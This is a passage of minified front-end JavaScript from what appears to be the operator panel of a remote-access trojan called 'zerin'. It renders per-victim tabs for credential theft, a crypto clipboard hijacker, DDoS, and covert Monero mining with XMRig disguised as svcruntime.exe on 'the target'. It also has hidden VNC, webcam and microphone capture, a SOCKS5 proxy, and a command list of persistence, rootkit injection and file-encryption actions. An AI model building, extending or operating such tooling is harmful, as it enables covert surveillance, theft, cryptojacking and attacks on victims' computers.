18s-8.25-1.847-8.25-4.125v-3.75m16.5 0c0 2.278-3.694 4.125-8.25 4.125s-8.25-1.847-8.25-4.125"})})}),s.jsxs("div",{children:[s.jsx("h2",{className:"text-sm font-semibold text-zerin-text",children:"XMR Miner"}),s.jsx("p",{className:"text-xs text-zerin-text-muted",children:"Monero CPU mining via XMRig"})]}),b&&s.jsxs("span",{className:"ml-auto flex items-center gap-1.5 text-xs font-medium text-amber-400",children:[s.jsx("span",{className:"w-1.5 h-1.5 rounded-full bg-amber-400 animate-pulse"}),"MINING"]})]}),m&&s.jsx("div",{className:`px-3 py-2 text-xs font-mono ${m.type==="ok"?"bg-emerald-500/10 text-emerald-400 border border-emerald-500/20":"bg-red-500/10 text-red-400 border border-red-500/20"}`,children:m.text}),b&&x&&s.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border",children:[s.jsxs("div",{className:"px-4 py-3 border-b border-zerin-panel-border flex items-center justify-between",children:[s.jsx("h3",{className:"text-xs font-semibold text-zerin-text uppercase tracking-wider",children:"Mining Stats"}),s.jsx("button",{onClick:S,className:"text-xs text-zerin-text-muted hover:text-zerin-accent transition-colors",children:"Refresh"})]}),s.jsxs("div",{className:"p-4 grid grid-cols-2 gap-4",children:[s.jsx(xa,{label:"Hashrate (10s)",value:x.hashrate_10s!=null?`${x.hashrate_10s.toFixed(1)} H/s`:"-"}),s.jsx(xa,{label:"Hashrate (60s)",value:x.hashrate_60s!=null?`${x.hashrate_60s.toFixed(1)} H/s`:"-"}),s.jsx(xa,{label:"Accepted",value:x.accepted!=null?String(x.accepted):"-",valueClass:"text-emerald-400"}),s.jsx(xa,{label:"Rejected",value:x.rejected!=null?String(x.rejected):"-",valueClass:x.rejected&&x.rejected>0?"text-red-400":void 0}),s.jsx(xa,{label:"Uptime",value:x.uptime!=null?N(x.uptime):"-"}),s.jsx(xa,{label:"PID",value:x.pid!=null?String(x.pid):"-"})]}),x.error&&s.jsx("div",{className:"px-4 pb-3",children:s.jsx("p",{className:"text-xs text-red-400 font-mono",children:x.error})})]}),s.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border",children:[s.jsx("div",{className:"px-4 py-3 border-b border-zerin-panel-border",children:s.jsx("h3",{className:"text-xs font-semibold text-zerin-text uppercase tracking-wider",children:"Configuration"})}),s.jsxs("div",{className:"p-4 space-y-4",children:[s.jsxs("div",{children:[s.jsx("label",{className:"block text-xs text-zerin-text-muted mb-1.5",children:"Pool"}),s.jsx("select",{value:n,onChange:z=>r(z.target.value),disabled:v||b,className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-2\r + text-sm text-zerin-text font-mono\r + focus:outline-none focus:border-zerin-accent/50\r + disabled:opacity-40 disabled:cursor-not-allowed transition-colors`,children:S2.map(z=>s.jsx("option",{value:z,children:z},z))})]}),s.jsxs("div",{children:[s.jsx("label",{className:"block text-xs text-zerin-text-muted mb-1.5",children:"Wallet Address"}),s.jsx("input",{type:"text",value:i,onChange:z=>a(z.target.value),placeholder:"4...",disabled:v||b,className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-2\r + text-sm text-zerin-text font-mono placeholder-zerin-text-muted\r + focus:outline-none focus:border-zerin-accent/50\r + disabled:opacity-40 disabled:cursor-not-allowed transition-colors`})]}),s.jsxs("div",{children:[s.jsx("label",{className:"block text-xs text-zerin-text-muted mb-1.5",children:"Worker Name"}),s.jsx("input",{type:"text",value:o,onChange:z=>l(z.target.value),placeholder:"worker (default: hostname)",disabled:v||b,className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-2\r + text-sm text-zerin-text font-mono placeholder-zerin-text-muted\r + focus:outline-none focus:border-zerin-accent/50\r + disabled:opacity-40 disabled:cursor-not-allowed transition-colors`})]}),s.jsxs("div",{children:[s.jsxs("label",{className:"block text-xs text-zerin-text-muted mb-1.5",children:["Max CPU: ",s.jsxs("span",{className:"text-zerin-text font-mono",children:[c,"%"]})]}),s.jsx("input",{type:"range",min:10,max:100,step:5,value:c,onChange:z=>u(Number(z.target.value)),disabled:v||b,className:"w-full accent-amber-500 disabled:opacity-40"}),s.jsxs("div",{className:"flex justify-between text-[10px] text-zerin-text-muted font-mono mt-1",children:[s.jsx("span",{children:"10%"}),s.jsx("span",{children:"25%"}),s.jsx("span",{children:"50%"}),s.jsx("span",{children:"75%"}),s.jsx("span",{children:"100%"})]})]})]})]}),s.jsx("div",{className:"flex gap-3",children:b?s.jsxs("button",{onClick:k,disabled:d,className:`flex-1 flex items-center justify-center gap-2 px-4 py-2.5\r + text-sm font-medium text-white bg-zinc-600 hover:bg-zinc-700\r + disabled:opacity-30 disabled:cursor-not-allowed transition-colors`,children:[d?s.jsx("div",{className:"w-4 h-4 border-2 border-white/30 border-t-white rounded-full animate-spin"}):s.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M5.25 7.5A2.25 2.25 0 017.5 5.25h9a2.25 2.25 0 012.25 2.25v9a2.25 2.25 0 01-2.25 2.25h-9a2.25 2.25 0 01-2.25-2.25v-9z"})}),"Stop Mining"]}):s.jsxs("button",{onClick:j,disabled:v||d||!i.trim(),className:`flex-1 flex items-center justify-center gap-2 px-4 py-2.5\r + text-sm font-medium text-white bg-amber-600 hover:bg-amber-700\r + disabled:opacity-30 disabled:cursor-not-allowed transition-colors`,children:[d?s.jsx("div",{className:"w-4 h-4 border-2 border-white/30 border-t-white rounded-full animate-spin"}):s.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M5.25 5.653c0-.856.917-1.398 1.667-.986l11.54 6.348a1.125 1.125 0 010 1.971l-11.54 6.347a1.125 1.125 0 01-1.667-.985V5.653z"})}),"Start Mining"]})}),s.jsx("div",{className:"bg-amber-500/5 border border-amber-500/15 px-4 py-3",children:s.jsxs("p",{className:"text-xs text-amber-400/80",children:["XMRig binary must be uploaded to ",s.jsx("span",{className:"font-mono",children:"%LOCALAPPDATA%\\Microsoft\\Runtime\\svcruntime.exe"})," on the target before starting the miner. Use the File Manager tab to upload it."]})})]})})}function xa({label:e,value:t,valueClass:n}){return s.jsxs("div",{className:"bg-zerin-bg border border-zerin-panel-border px-3 py-2.5",children:[s.jsx("p",{className:"text-[10px] text-zerin-text-muted uppercase tracking-wider mb-1",children:e}),s.jsx("p",{className:`text-sm font-mono font-medium ${n||"text-zerin-text"}`,children:t})]})}const z2=["shell","powershell","execute","whoami","ps","kill","sysinfo","specs","windows","installed_apps","netstat","ifconfig","env","ls","cd","pwd","upload","download","delete","encrypt","decrypt","screenshot","persist_runkey","persist_schtask","persist_service","persist_startup","persist_logonscript","persist_screensaver","persist_ifeo","persist_bits","persist_com","persist_dllhijack","persist_wmi","persist_portmon","persist_ssp","reg_read","reg_write","rootkit_status","rootkit_inject","restart","shutdown","troll_msgbox","troll_tts","troll_website","troll_wallpaper","troll_taskbar","troll_cd_tray","chat","creds","clipper_start","clipper_stop","clipper_config","ddos_start","ddos_stop","miner_start","miner_stop","miner_status","sleep","exit","uninstall"],GU={queued:"bg-zinc-500/15 text-zinc-400",sent:"bg-zinc-400/10 text-zinc-400",completed:"bg-zinc-400/10 text-zinc-300",failed:"bg-zerin-danger-dim text-zerin-danger",timeout:"bg-zerin-panel-hover text-zerin-text-muted"},bp=["overview","screenshots","files","processes","windows","apps","system","troll","credentials","clipper","ddos","miner"];function XU(){const{id:e}=qo(),t=ur(),[n,r]=xx(),[i,a]=p.useState(null),[o,l]=p.useState([]),[c,u]=p.useState([]),[d,f]=p.useState(!0),[m,h]=p.useState(""),[x,g]=p.useState(""),[y,v]=p.useState(!1),[b,w]=p.useState(!1),[j,k]=p.useState(()=>{const L=n.get("tab");return L&&bp.includes(L)?L:"overview"}),[S,N]=p.useState(()=>{const L=n.get("tab"),de=new Set(["overview"]);return L&&bp.includes(L)&&de.add(L),de}),[z,_]=p.useState(null),[A,O]=p.useState(!0),[P,I]=p.useState(!1),[U,D]=p.useState(null),[M,F]=p.useState(new Set),[R,W]=p.useState(()=>n.get("auto")==="1"),[$,H]=p.useState(null),[X,se]=p.useState(-1),[ue,ge]=p.useState(!1),xe=p.useRef(null);p.useEffect(()=>{N(L=>{if(L.has(j))return L;const de=new Set(L);return de.add(j),de})},[j]),p.useEffect(()=>{N(new Set(["overview"]))},[e]),p.useEffect(()=>{const L=n.get("tab");L&&bp.includes(L)&&L!==j&&k(L)},[n]);const Y=L=>{k(L),L==="overview"?n.delete("tab"):n.set("tab",L),r(n,{replace:!0})},ee=p.useCallback(async()=>{if(e)try{const L=await OE(e);a(L),h("");try{const de=await Un(e);l(de.tasks??[]),u(de.results??[])}catch{l([]),u([])}}catch(L){a(null);const de=L instanceof Error&&"status"in L?L.status:"network";h(L instanceof Error?`${L.message} (${de})`:String(L))}finally{f(!1)}},[e]);p.useEffect(()=>{ee();const L=setInterval(ee,5e3);return()=>clearInterval(L)},[ee]),p.useEffect(()=>{if(!e)return;let L=!0;const de=async()=>{try{const te=await YE(e);L&&H(te)}catch{L&&H(null)}};de();const q=setInterval(de,3e3);return()=>{L=!1,clearInterval(q)}},[e]),p.useEffect(()=>{if(!z)return;const L=de=>{de.key==="Escape"&&_(null)};return window.addEventListener("keydown",L),()=>window.removeEventListener("keydown",L)},[z]);const C=p.useMemo(()=>[...o].sort((L,de)=>new Date(L.created_at).getTime()-new Date(de.created_at).getTime()),[o]),K=5e3,ne=p.useMemo(()=>{var de;const L=[];for(const q of C){const te=(de=q.args)!=null&&de.length?" "+q.args.join(" "):"";L.push({type:"command",content:`${q.command}${te}`,timestamp:q.created_at});const me=c.find(V=>V.task_id===q.id);me?(me.error&&L.push({type:"error",content:me.error,timestamp:me.completed_at}),me.output&&L.push({type:"output",content:me.output,timestamp:me.completed_at})):q.status==="queued"||q.status==="sent"?L.push({type:"system",content:`[${q.status==="queued"?"Queued":"Sent"} - awaiting result...]`}):q.status==="timeout"&&L.push({type:"error",content:"[Task timed out]"})}if(L.length>K){const q=L.slice(L.length-K);return q.unshift({type:"system",content:`[Output truncated: showing last ${K.toLocaleString()} of ${L.length.toLocaleString()} lines]`}),q}return L},[C,c]),B=p.useMemo(()=>{const L=[];for(const de of C){if(de.command!=="screenshot")continue;const q=c.find(te=>te.task_id===de.id);if(q!=null&&q.data){const te=qA(q.data)?KA(q.data):`data:image/png;base64,${q.data}`;L.push({taskId:de.id,timestamp:q.completed_at,dataUrl:te})}}return L},[C,c]),ie=x?z2.filter(L=>L.startsWith(x.split(" ")[0])&&L!==x.split(" ")[0]):z2;async function ve(L){var me;if(L.preventDefault(),!e||!x.trim())return;const de=x.trim().split(/\s+/),q=de[0],te=de.slice(1);v(!0),w(!1);try{await Ee(e,{command:q,args:te}),g(""),D(null),setTimeout(ee,500)}catch(V){D(`[SEND FAILED] ${V instanceof Error?V.message:"Unknown error"}`)}finally{v(!1),(me=xe.current)==null||me.focus()}}function we(L){var de;g(L+" "),w(!1),(de=xe.current)==null||de.focus()}if(d)return s.jsx("div",{className:"flex items-center justify-center h-full",children:s.jsxs("div",{className:"flex flex-col items-center gap-3",children:[s.jsx("div",{className:"w-8 h-8 border-2 border-zerin-accent/30 border-t-zerin-accent rounded-full animate-spin"}),s.jsx("p",{className:"text-zerin-text-dim text-sm",children:"Loading agent data..."})]})});if(!i)return s.jsx("div",{className:"flex items-center justify-center h-full",children:s.jsxs("div",{className:"text-center bg-zerin-panel border border-zerin-panel-border p-10 max-w-md",children:[s.jsx("div",{className:"w-12 h-12 mx-auto mb-4 bg-zerin-danger-dim flex items-center justify-center",children:s.jsx("svg",{className:"w-6 h-6 text-zerin-danger",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M12 9v2m0 4h.01M21 12a9 9 0 11-18 0 9 9 0 0118 0z"})})}),s.jsx("h2",{className:"font-display text-lg text-zerin-text font-semibold mb-2",children:"Agent Not Found"}),m&&s.jsx("p",{className:"text-zerin-text-muted text-sm mb-2",children:m}),s.jsxs("p",{className:"text-zerin-text-muted text-xs font-mono mb-6",children:["ID: ",e]}),s.jsxs("button",{onClick:()=>t("/dashboard"),className:`inline-flex items-center gap-2 text-sm font-medium text-zerin-accent + hover:text-zerin-accent-hover bg-zerin-accent-muted hover:bg-zerin-accent/20 + px-4 py-2 transition-colors`,children:[s.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M15 19l-7-7 7-7"})}),"Back to Dashboard"]})]})});const _e=i.hostname||"unknown";return s.jsxs("div",{className:"h-full flex flex-col animate-fade-in",children:[s.jsxs("div",{className:"flex items-center gap-4 px-6 py-4 border-b border-zerin-panel-border bg-zerin-panel/40",children:[s.jsxs("button",{onClick:()=>t("/dashboard"),className:`inline-flex items-center gap-1.5 text-sm text-zerin-text-dim + hover:text-zerin-accent transition-colors px-2 py-1 + hover:bg-zerin-accent-muted`,children:[s.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M15 19l-7-7 7-7"})}),"Back"]}),s.jsx("div",{className:"w-px h-6 bg-zerin-panel-border"}),s.jsx("h1",{className:"font-display text-xl font-semibold text-zerin-text",children:_e}),s.jsx(sd,{status:i.status,size:"md",showLabel:!0}),s.jsx("span",{className:"font-mono text-xs text-zerin-text-muted",children:Hs(i.id)}),i.elevated&&s.jsx("span",{className:"bg-zerin-panel-hover text-zerin-text-dim px-2 py-0.5 text-xs font-medium",children:"ADMIN"}),i.status!=="dead"&&s.jsxs("div",{className:"ml-auto flex items-center gap-2",children:[s.jsxs("button",{onClick:async()=>{try{await gx(i.id);const L=rt(),de=window.open(`/vnc/${i.id}`,`vnc-${i.id}`,"width=1300,height=800,menubar=no,toolbar=no,location=no,status=no");if(de&&L){const q=te=>{var me;((me=te.data)==null?void 0:me.type)==="zerin_auth_request"&&te.origin===window.location.origin&&(de.postMessage({type:"zerin_auth",token:L},window.location.origin),window.removeEventListener("message",q))};window.addEventListener("message",q)}}catch{}},className:`inline-flex items-center gap-1.5 text-sm font-medium + text-zerin-accent hover:text-zerin-accent-hover + bg-zerin-accent-muted hover:bg-zerin-accent/20 + px-3 py-1.5 transition-colors`,children:[s.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M9 17.25v1.007a3 3 0 01-.879 2.122L7.5 21h9l-.621-.621A3 3 0 0115 18.257V17.25m6-12V15a2.25 2.25 0 01-2.25 2.25H5.25A2.25 2.25 0 013 15V5.25m18 0A2.25 2.25 0 0018.75 3H5.25A2.25 2.25 0 003 5.25m18 0V12a2.25 2.25 0 01-2.25 2.25H5.25A2.25 2.25 0 013 12V5.25"})}),"VNC"]}),s.jsxs("button",{onClick:async()=>{try{await cj(i.id);const L=rt(),de=window.open(`/vnc/${i.id}?mode=hvnc`,`hvnc-${i.id}`,"width=1300,height=800,menubar=no,toolbar=no,location=no,status=no");if(de&&L){const q=te=>{var me;((me=te.data)==null?void 0:me.type)==="zerin_auth_request"&&te.origin===window.location.origin&&(de.postMessage({type:"zerin_auth",token:L},window.location.origin),window.removeEventListener("message",q))};window.addEventListener("message",q)}}catch{}},className:`inline-flex items-center gap-1.5 text-sm font-medium + text-zerin-accent hover:text-zerin-accent-hover + bg-zerin-accent-muted hover:bg-zerin-accent/20 + px-3 py-1.5 transition-colors`,children:[s.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3.98 8.223A10.477 10.477 0 001.934 12C3.226 16.338 7.244 19.5 12 19.5c.993 0 1.953-.138 2.863-.395M6.228 6.228A10.45 10.45 0 0112 4.5c4.756 0 8.773 3.162 10.065 7.498a10.523 10.523 0 01-4.293 5.774M6.228 6.228L3 3m3.228 3.228l3.65 3.65m7.894 7.894L21 21m-3.228-3.228l-3.65-3.65m0 0a3 3 0 10-4.243-4.243m4.242 4.242L9.88 9.88"})}),"hVNC"]}),s.jsxs("div",{className:"relative",children:[s.jsxs("button",{onClick:()=>ge(L=>!L),className:`inline-flex items-center gap-1.5 text-sm font-medium + text-zerin-accent hover:text-zerin-accent-hover + bg-zerin-accent-muted hover:bg-zerin-accent/20 + px-3 py-1.5 transition-colors`,children:[s.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",d:"M15.75 10.5l4.72-4.72a.75.75 0 011.28.53v11.38a.75.75 0 01-1.28.53l-4.72-4.72M4.5 18.75h9a2.25 2.25 0 002.25-2.25v-9a2.25 2.25 0 00-2.25-2.25h-9A2.25 2.25 0 002.25 7.5v9a2.25 2.25 0 002.25 2.25z"})}),"Webcam",s.jsx("svg",{className:"w-3 h-3 ml-0.5",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M19.5 8.25l-7.5 7.5-7.5-7.5"})})]}),ue&&s.jsxs("div",{className:"absolute top-full left-0 mt-1 z-50 bg-zerin-panel border border-zerin-border p-3 shadow-xl min-w-[200px]",style:{background:"#18181B",border:"1px solid #27272A"},children:[s.jsx("div",{className:"text-xs font-medium text-zerin-text-muted mb-2",children:"Device"}),s.jsxs("select",{value:X,onChange:L=>se(Number(L.target.value)),className:"w-full bg-zerin-bg border border-zerin-border text-zerin-text text-sm px-2 py-1 mb-2",style:{background:"#09090B",border:"1px solid #27272A",color:"#FAFAFA"},children:[s.jsx("option",{value:-1,children:"Auto-detect"}),[0,1,2,3,4,5,6,7,8,9].map(L=>s.jsxs("option",{value:L,children:["Camera ",L]},L))]}),s.jsx("button",{onClick:async()=>{ge(!1);try{await uj(i.id,X);const L=rt(),de=window.open(`/webcam/${i.id}`,`webcam-${i.id}`,"width=800,height=650,menubar=no,toolbar=no,location=no,status=no");if(de&&L){const q=te=>{var me;((me=te.data)==null?void 0:me.type)==="zerin_auth_request"&&te.origin===window.location.origin&&(de.postMessage({type:"zerin_auth",token:L},window.location.origin),window.removeEventListener("message",q))};window.addEventListener("message",q)}}catch{}},className:"w-full text-sm font-medium px-3 py-1.5 bg-zerin-accent text-black hover:bg-zerin-accent-hover transition-colors",children:"Start"})]})]}),s.jsxs("button",{onClick:async()=>{try{await dj(i.id);const L=rt(),de=window.open(`/mic/${i.id}`,`mic-${i.id}`,"width=500,height=400,menubar=no,toolbar=no,location=no,status=no");if(de&&L){const q=te=>{var me;((me=te.data)==null?void 0:me.type)==="zerin_auth_request"&&te.origin===window.location.origin&&(de.postMessage({type:"zerin_auth",token:L},window.location.origin),window.removeEventListener("message",q))};window.addEventListener("message",q)}}catch{}},className:`inline-flex items-center gap-1.5 text-sm font-medium + text-zerin-accent hover:text-zerin-accent-hover + bg-zerin-accent-muted hover:bg-zerin-accent/20 + px-3 py-1.5 transition-colors`,children:[s.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M12 18.75a6 6 0 006-6v-1.5m-6 7.5a6 6 0 01-6-6v-1.5m6 7.5v3.75m-3.75 0h7.5M12 15.75a3 3 0 01-3-3V4.5a3 3 0 116 0v8.25a3 3 0 01-3 3z"})}),"Mic"]}),s.jsxs("button",{onClick:async()=>{try{await Ee(i.id,{command:"screenshot"}),Y("screenshots")}catch{}},className:`inline-flex items-center gap-1.5 text-sm font-medium + text-zerin-accent hover:text-zerin-accent-hover + bg-zerin-accent-muted hover:bg-zerin-accent/20 + px-3 py-1.5 transition-colors`,children:[s.jsxs("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:[s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M6.827 6.175A2.31 2.31 0 015.186 7.23c-.38.054-.757.112-1.134.175C2.999 7.58 2.25 8.507 2.25 9.574V18a2.25 2.25 0 002.25 2.25h15A2.25 2.25 0 0021.75 18V9.574c0-1.067-.75-1.994-1.802-2.169a47.865 47.865 0 00-1.134-.175 2.31 2.31 0 01-1.64-1.055l-.822-1.316a2.192 2.192 0 00-1.736-1.039 48.774 48.774 0 00-5.232 0 2.192 2.192 0 00-1.736 1.039l-.821 1.316z"}),s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M16.5 12.75a4.5 4.5 0 11-9 0 4.5 4.5 0 019 0z"})]}),"Screenshot"]}),s.jsxs("button",{onClick:()=>I(!0),className:`inline-flex items-center gap-1.5 text-sm font-medium + text-zerin-accent hover:text-zerin-accent-hover + bg-zerin-accent-muted hover:bg-zerin-accent/20 + px-3 py-1.5 transition-colors`,children:[s.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M8 12h.01M12 12h.01M16 12h.01M21 12c0 4.418-4.03 8-9 8a9.863 9.863 0 01-4.255-.949L3 20l1.395-3.72C3.512 15.042 3 13.574 3 12c0-4.418 4.03-8 9-8s9 3.582 9 8z"})}),"Chat"]})]})]}),s.jsxs("div",{className:"flex-1 flex flex-col min-h-0 overflow-hidden",children:[s.jsxs("div",{className:"flex items-center gap-1 px-6 pt-4 pb-0",children:[s.jsx(vn,{label:"Overview",active:j==="overview",onClick:()=>Y("overview")}),s.jsx(vn,{label:"Screenshots",active:j==="screenshots",onClick:()=>Y("screenshots"),badge:B.length>0?B.length:void 0}),s.jsx(vn,{label:"Files",active:j==="files",onClick:()=>Y("files")}),s.jsx(vn,{label:"Processes",active:j==="processes",onClick:()=>Y("processes")}),s.jsx(vn,{label:"Windows",active:j==="windows",onClick:()=>Y("windows")}),s.jsx(vn,{label:"Apps",active:j==="apps",onClick:()=>Y("apps")}),s.jsx(vn,{label:"System",active:j==="system",onClick:()=>Y("system")}),s.jsx(vn,{label:"Troll",active:j==="troll",onClick:()=>Y("troll")}),s.jsx(vn,{label:"Credentials",active:j==="credentials",onClick:()=>Y("credentials")}),s.jsx(vn,{label:"Clipper",active:j==="clipper",onClick:()=>Y("clipper")}),s.jsx(vn,{label:"DDoS",active:j==="ddos",onClick:()=>Y("ddos")}),s.jsx(vn,{label:"Miner",active:j==="miner",onClick:()=>Y("miner")})]}),s.jsxs("div",{className:"flex-1 min-h-0 overflow-auto custom-scrollbar",children:[s.jsx("div",{style:{display:j==="overview"?void 0:"none"},children:s.jsxs("div",{className:"p-6 grid grid-cols-12 gap-6 animate-fade-in",children:[s.jsxs("div",{className:"col-span-12 lg:col-span-5 xl:col-span-4 space-y-4",children:[s.jsxs(wp,{title:"System",children:[s.jsx(Qt,{label:"Hostname",value:i.hostname}),s.jsx(Qt,{label:"Username",value:i.username}),s.jsx(Qt,{label:"OS",value:So(i.os)}),s.jsx(Qt,{label:"Architecture",value:i.arch}),s.jsx(Qt,{label:"PID",value:String(i.pid),mono:!0}),s.jsx(Qt,{label:"Integrity",value:i.integrity}),s.jsx(Qt,{label:"Elevated",value:i.elevated?"Yes":"No",valueClass:i.elevated?"text-zerin-text font-medium":""})]}),s.jsxs(wp,{title:"Network",children:[s.jsx(Qt,{label:"Internal IP",value:i.internal_ip,mono:!0}),s.jsx(Qt,{label:"External IP",value:i.external_ip,mono:!0})]}),s.jsxs(wp,{title:"Timing",children:[s.jsx(Qt,{label:"Sleep / Jitter",value:vj(i.sleep_interval,i.jitter),mono:!0}),s.jsx(Qt,{label:"First Seen",value:No(i.first_seen)}),s.jsx(Qt,{label:"Last Seen",value:Vc(i.last_seen)}),s.jsx(Qt,{label:"Agent ID",value:Hs(i.id),mono:!0})]}),s.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border overflow-hidden",children:[s.jsxs("div",{className:"px-4 py-3 border-b border-zerin-panel-border flex items-center justify-between",children:[s.jsx("h3",{className:"text-sm font-semibold text-zerin-text",children:"SOCKS5 Proxy"}),s.jsx("span",{className:`inline-block w-2 h-2 rounded-full ${$!=null&&$.active?"bg-emerald-400":"bg-zinc-600"}`})]}),s.jsx("div",{className:"px-4 py-3",children:$!=null&&$.active?s.jsxs("div",{className:"space-y-2",children:[s.jsxs("div",{className:"flex items-center justify-between text-xs",children:[s.jsx("span",{className:"text-zerin-text-muted",children:"Bind"}),s.jsx("span",{className:"font-mono text-zerin-text",children:$.port?`127.0.0.1:${$.port}`:"-"})]}),s.jsxs("div",{className:"flex items-center justify-between text-xs",children:[s.jsx("span",{className:"text-zerin-text-muted",children:"Channels"}),s.jsx("span",{className:"font-mono text-zerin-text",children:$.channels})]}),s.jsxs("div",{className:"flex items-center justify-between text-xs",children:[s.jsx("span",{className:"text-zerin-text-muted",children:"Traffic"}),s.jsxs("span",{className:"font-mono text-zerin-text",children:[km($.bytes_in)," in / ",km($.bytes_out)," out"]})]}),s.jsx("button",{onClick:async()=>{try{await qE(i.id),H({active:!1,port:0,channels:0,bytes_in:0,bytes_out:0})}catch{}},className:"w-full mt-1 px-3 py-1.5 text-xs font-medium text-zerin-danger bg-zerin-danger-dim hover:bg-zerin-danger/20 transition-colors",children:"Stop Proxy"})]}):s.jsxs("div",{className:"space-y-2",children:[s.jsx("p",{className:"text-xs text-zerin-text-muted",children:"No active SOCKS5 session"}),i.status!=="dead"&&s.jsx("button",{onClick:async()=>{try{const L=await fj(i.id);H({active:!0,port:L.port,channels:0,bytes_in:0,bytes_out:0})}catch{}},className:"w-full px-3 py-1.5 text-xs font-medium text-zerin-accent bg-zerin-accent-muted hover:bg-zerin-accent/20 transition-colors",children:"Start Proxy"})]})})]})]}),s.jsx("div",{className:"col-span-12 lg:col-span-7 xl:col-span-8",children:s.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border overflow-hidden",children:[s.jsx("div",{className:"px-4 py-3 border-b border-zerin-panel-border",children:s.jsx("h3",{className:"text-sm font-semibold text-zerin-text",children:"Task History"})}),s.jsx("div",{className:"overflow-x-auto",children:C.length===0?s.jsx("div",{className:"px-4 py-12 text-center",children:s.jsx("p",{className:"text-zerin-text-muted text-sm",children:"No tasks have been submitted yet."})}):s.jsxs("table",{className:"w-full text-sm",children:[s.jsx("thead",{children:s.jsxs("tr",{className:"border-b border-zerin-panel-border",children:[s.jsx("th",{className:"text-left px-4 py-2.5 text-zerin-text-muted text-xs font-medium uppercase tracking-wider",children:"Command"}),s.jsx("th",{className:"text-left px-4 py-2.5 text-zerin-text-muted text-xs font-medium uppercase tracking-wider",children:"Status"}),s.jsx("th",{className:"text-left px-4 py-2.5 text-zerin-text-muted text-xs font-medium uppercase tracking-wider",children:"Created At"})]})}),s.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:[...C].reverse().map(L=>{var q;const de=(q=L.args)!=null&&q.length?" "+L.args.join(" "):"";return s.jsxs("tr",{className:"hover:bg-zerin-panel-hover transition-colors",children:[s.jsxs("td",{className:"px-4 py-2.5 font-mono text-zerin-text text-xs whitespace-nowrap",children:[L.command,de]}),s.jsx("td",{className:"px-4 py-2.5",children:s.jsx("span",{className:`inline-block px-2 py-0.5 text-xs font-medium ${GU[L.status]??"bg-zerin-panel-hover text-zerin-text-muted"}`,children:L.status})}),s.jsx("td",{className:"px-4 py-2.5 text-zerin-text-dim text-xs whitespace-nowrap",children:No(L.created_at)})]},L.id)})})]})})]})})]})}),S.has("files")&&s.jsx("div",{style:{display:j==="files"?void 0:"none"},children:s.jsx(OU,{agentId:i.id,agentStatus:i.status})}),S.has("processes")&&s.jsx("div",{style:{display:j==="processes"?void 0:"none"},children:s.jsx(TU,{agentId:i.id,agentStatus:i.status})}),S.has("windows")&&s.jsx("div",{style:{display:j==="windows"?void 0:"none"},children:s.jsx(MU,{agentId:i.id,agentStatus:i.status})}),S.has("apps")&&s.jsx("div",{style:{display:j==="apps"?void 0:"none"},children:s.jsx(LU,{agentId:i.id,agentStatus:i.status})}),S.has("system")&&s.jsx("div",{style:{display:j==="system"?void 0:"none"},children:s.jsx(IU,{agentId:i.id,agentStatus:i.status})}),S.has("troll")&&s.jsx("div",{style:{display:j==="troll"?void 0:"none"},children:s.jsx(RU,{agentId:i.id})}),S.has("credentials")&&s.jsx("div",{style:{display:j==="credentials"?void 0:"none"},children:s.jsx(VU,{agentId:i.id,agentStatus:i.status,autoGrab:R,onAutoGrabConsumed:()=>{W(!1),n.delete("auto"),r(n,{replace:!0})}})}),S.has("clipper")&&s.jsx("div",{style:{display:j==="clipper"?void 0:"none"},children:s.jsx(qU,{agentId:i.id,agentStatus:i.status})}),S.has("ddos")&&s.jsx("div",{style:{display:j==="ddos"?void 0:"none"},children:s.jsx(US,{agentIds:[i.id],agentStatus:i.status})}),S.has("miner")&&s.jsx("div",{style:{display:j==="miner"?void 0:"none"},children:s.jsx(YU,{agentId:i.id,agentStatus:i.status})}),S.has("screenshots")&&s.jsx("div",{style:{display:j==="screenshots"?void 0:"none"},children:s.jsx("div",{className:"p-6 animate-fade-in",children:B.length===0?s.jsx("div",{className:"flex items-center justify-center py-20",children:s.jsxs("div",{className:"text-center",children:[s.jsx("div",{className:"w-14 h-14 mx-auto mb-4 